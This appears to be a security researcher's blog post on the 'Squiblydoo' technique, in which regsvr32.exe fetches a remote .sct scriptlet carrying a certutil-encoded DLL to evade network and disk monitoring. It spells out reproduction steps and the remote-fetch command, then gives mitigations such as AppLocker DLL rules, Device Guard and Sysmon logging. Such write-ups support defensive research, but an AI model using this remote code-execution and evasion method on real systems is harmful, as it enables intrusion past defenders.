Advanced Use Case For .SCT Files

I was recently experimenting with some more advanced use cases for an .SCT file. In case you haven’t heard about .SCT files, they can instantiate COM objects backed by scripts, not a DLL.

There is additional background here

http://thrysoee.dk/InsideCOM+/ch05e.htm The default association for this extension is notepad. So one way to trigger execution remotely is to call regsvr32.exe /s /u /i:http:/server/file.sct scrobj.dll

I wanted to demonstrate how using a COM Scriptlet you could perhaps, circumvent, tools that monitor executables on the wire. There are many tools that attempt to extract binaries from the network and execute or analyze them in a sandbox.

Examples of these types of tools include, BRO Network Security Monitor, https://www.bro.org/sphinx/script-reference/file-analyzers.html Wireshark Example: https://digital-forensics.sans.org/blog/2009/03/10/pulling-binaries-from-pcaps/ Even some vendor products like FireEye, Cisco, and others. include the ability to pull binaries off the wire and analyze them. So in this situation, the base64 encoded and/or obfuscated file can slip past the network monitor tools. This example I create is very basic, I only Base64 encode the file with a native tool, certutil.exe. One can imagine adding an elementary obfuscation to the Base64 text, or decryption routine. Here are the steps to reproduce this example. 1. Create a DLL, the example I used can be found here: a. https://github.com/subTee/AllTheThings b. This is a dll with multiple bypass techniques embedded

c. It uses the excellent Unmanaged Export VS Package https://www.nuget.org/packages/UnmanagedExports

2. Encode/Prepare the DLL with certutil.exe a. Certutil.exe will encode/decode ANY file on disk. b. This way, when we write the file to disk, we use certutil.exe instead of regsvr32 writing the DLL. This helps delay detection by tools that log/monitor PE file writes to disk. So defenders… Watch for certutil.exe writing a PE file... c. I started to write a Base64 routine in JS, and gave up… Why bother, when you have a native tool that will happily decode any file, even if it is NOT a certificate. 3. Embed the output into the .SCT file a. You will need to append the line continuation “\” to each line. Easy enough to do… 4. Host the .sct file on a web server somewhere. 5. On the target, execute regsvr32.exe /s /u /i:http:/server/file.sct scrobj.dll a. How you gain execution is up to you, this is a post-exploitation tactic. Full working prototype is documented here: https://gist.github.com/subTee/3610a16a54bcbc1fe0ebc46313f5c02e This brings up an important concept with regards to a layered approach and Application Whitelisting. If a file can circumvent an on the wire monitoring tool, and lands on the host...a whitelisting approach should still prevent execution. It has been my experience that many organizations that deploy whitelisting, do NOT incorporate DLL whitelisting. This is available in AppLocker, and while it takes considerable effort to dial this in, it goes a long way in preventing unwanted DLL’s from being executed on your system, by trusted applications. This style of attack is blocked with a standard Device Guard enabled system. Device Guard by default blocks all unapproved, drivers, EXE, DLL, and scripts. References: Device Guard Deployment Guide: Available on windows 10 Enterprise https://technet.microsoft.com/en-us/itpro/windows/keep-secure/device-guard-deployment-guide Here are some additional references for mitigation of the regsvr32 style execution. Using EMET: https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET Using CarbonBlack: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ Please send me any other mitigations you have found that work, and I can post them here. For example someone mentioned to me monitoring the command line for a url. I don’t have any specifics on that, but that would be solid detection, if you centrally collected Sysmon logs for example.

Thats all I have for now.

As always, Feedback Welcome. Cheers, Casey @subTee